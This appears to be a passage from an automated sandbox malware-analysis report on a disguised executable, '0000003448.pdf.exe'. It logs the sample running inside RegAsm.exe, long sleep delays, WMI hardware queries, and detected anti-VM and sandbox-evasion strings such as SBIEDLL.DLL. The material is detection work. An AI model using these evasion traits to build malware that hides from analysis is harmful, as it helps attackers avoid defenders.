Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 0000003448.pdf.exe PID: 2520, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory allocated: 2474D0A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory allocated: 24766A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 30D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 5130000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199959	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198950	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197531	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1201			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8661			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99561s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -99014s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97266s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -97141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199959s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199499s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199171s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1199062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198950s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198624s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1198078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1197968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1197859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1197749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1197640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7644	Thread sleep time: -1197531s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99561	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 99014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 97141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199959	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198950	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198624	Jump to behavior
